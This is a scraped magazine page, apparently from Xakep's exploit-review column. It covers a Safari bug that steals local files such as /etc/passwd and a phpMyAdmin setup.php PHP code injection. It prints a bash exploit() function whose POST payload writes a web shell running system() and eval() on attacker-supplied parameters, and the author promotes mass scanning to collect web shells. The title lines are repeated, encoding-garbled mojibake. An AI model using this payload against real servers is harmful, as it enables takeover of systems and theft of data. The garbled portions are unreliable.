ÃÂÕáÛãçÃÂÙÃÂÞ CUDA ØÔÕÃÂœ? phpMyAdmin - Xakep Online
ÃÂÕáÛãçÃÂÙÃÂÞ CUDA ØÔÕÃÂœ? phpMyAdmin - Xakep Online
ÃÂÕáÛãçÃÂÙÃÂÞ CUDA ØÔÕÃÂœ? phpMyAdmin - Xakep Online
You also want an ePaper? Increase the reach of your titles
YUMPU automatically turns print PDFs into web optimized ePapers that Google loves.
обзор<br />
эксплоитов<br />
обзор<br />
эксплоитов<br />
обзор<br />
эксплоитов<br />
>> взлом<br />
Below you should see the content of a local file, stolen by this evil web page.<br />
<br />
&ent;<br />
<br />
alert(document.body.innerHTML);<br />
<br />
<br />
<br />
<br />
<br />
Как видишь, лексема «&ent;» хранит в себе содержимое «/etc/passwd»,<br />
который магическим образом отобразится на экране. Если ты счастливый<br />
обладатель Safari, можешь пройти тест на вшивость по ссылкам https://<br />
cevans-app.appspot.com/static/safaristealfilebug.xml (MacOS) и https://<br />
cevans-app.appspot.com/static/safaristealfilebugwin.xml (Windows).<br />
>> SOLUTION<br />
Обновление до Safari 4.x решит все проблемы и устранит угрозы внешних<br />
нападений.<br />
02<br />
PHPMYADMIN (/SCRIPTS/SETUP.PHP)<br />
PHP CODE INJECTION EXPLOIT<br />
>> Brief<br />
Давно нас не баловали хорошими уязвимостями в популярных проектах.<br />
Сегодня я постараюсь это исправить: 4 июня багоискателям удалось обнаружить<br />
изъян в проекте <strong>phpMyAdmin</strong>, а именно — в генераторе настроечных<br />
файлов «/scripts/setup.php». Суть бага довольно проста: в процессе установки<br />
<strong>phpMyAdmin</strong> происходит генерация основных параметров (хоста<br />
mysql, логина, пароля, названия базы и т.п.) с последующим их сохранением<br />
в «/config/config.inc.php». Так вот, до недавнего времени разработчики<br />
довольно аккуратно фильтровали нежелательный контент, но в последних<br />
версиях чуть-чуть изменили алгоритм. В итоге, злоумышленник может<br />
передать ядовитые параметры, позволяющие записать произвольный код<br />
в конфигурационный файл. Затем, по обращению к этому конфигу, хакер<br />
получит полноценный Web-шелл. А теперь разберемся, как это происходит<br />
на самом деле. Вместе с прочими параметрами в значение переменной<br />
«host» инжектируется, к примеру, фраза «phpinfo();//localhost». На выходе<br />
получим вполне работоспособный сценарий, выводящий phpinfo().<br />
Помимо прочего, эксплойт позволяет внедрить «passthru()» для передачи<br />
команд Web-шеллу при помощи значения переменной «c».<br />
Но не думай, что все так просто. Эксплойт накладывает некоторые<br />
ограничения на <strong>phpMyAdmin</strong>. Во-первых, нужно, чтобы администратор<br />
устанавливал проект через мастера, а не вручную. Во-вторых,<br />
необходимо наличие файла «scripts/setup.php», который почему-то<br />
(интересно, почему? :)) любят удалять. В-третьих, директория «config/»<br />
также должна присутствовать, а на файл «config.inc.php» должен<br />
быть установлен атрибут записи. В-четвертых, на машине необходим<br />
работоспособный curl (с его помощью происходит инжектирование<br />
кода). И, наконец, уязвимыми версиями <strong>phpMyAdmin</strong> являются 2.11.x<br />
до 2.11.9.5 и 3.x до 3.1.3.1 (все релизы достаточно новые и выпускались<br />
до апреля этого года).<br />
Как итог, хакер может без труда написать автосканер phpMyadmin и<br />
эксплуатировать каждый хост. На мой взгляд, вероятность успехи атаки<br />
недалека от 30%, а при таких раскладах одна лишь ночь сканирования<br />
будет приносить взломщику море нелишних Web-шеллов.<br />
>> Exploit<br />
Ниже приводится ключевая функция exploit(), отвечающая за инжект<br />
вредоносного кода.<br />
function exploit {<br />
postdata="token=$1&action=save&configuration="\<br />
"a:1:{s:7:%22Servers%22%3ba:1:{i:0%3ba:6:{s:23:%22hos<br />
t%27]="\<br />
"%27%27%3b%20phpinfo%28%29%3b//%22%3bs:9:%22localhost<br />
%22%3bs:9:"\<br />
"%22extension%22%3bs:6:%22mysqli%22%3bs:12:%22connec<br />
t_type%22%3bs:3:"\<br />
"%22tcp%22%3bs:8:%22compress%22%3bb:0%3bs:9:%22aut<br />
h_type%22%3bs:6:"\<br />
"%22config%22%3bs:4:%22user%22%3bs:4:%22root%22%3b}}}&<br />
eoltype=unix"<br />
postdata2="token=$1&action=save&configuration=a:1:"\<br />
"{s:7:%22Servers%22%3ba:1:{i:0%3ba:6:{s:136:%22host%2<br />
7%5d="\<br />
"%27%27%3b%20if(\$_GET%5b%27c%27%5d){echo%20<br />
%27%3cpre%3e%27%3b"\<br />
"system(\$_GET%5b%27c%27%5d)%3becho%20%27%3c/<br />
pre%3e%27%3b}"\<br />
"if(\$_GET%5b%27p%27%5d){echo%20<br />
%27%3cpre%3e%27%3beval"\<br />
"(\$_GET%5b%27p%27%5d)%3becho%20%27%3c/<br />
pre%3e%27%3b}%3b//"\<br />
"%22%3bs:9:%22localhost%22%3bs:9:%22extension%22%3bs:<br />
6:%22"\<br />
"mysqli%22%3bs:12:%22connect_type%22%3bs:3:%22tcp%22%<br />
3bs:8:"\<br />
"%22compress%22%3bb:0%3bs:9:%22auth_<br />
type%22%3bs:6:%22config"\<br />
"%22%3bs:4:%22user%22%3bs:4:%22root%22%3b}}}&eoltype=<br />
unix"<br />
НАГЛЯДНАЯ ДЕМОНСТРАЦИЯ УЯЗВИМОСТИ ПОД WINDOWS<br />
ПОСЛЕ ДРАКИ КУЛАКАМИ НЕ МАШУТ :)<br />
XÀÊÅÐ 07 /127/ 09<br />
049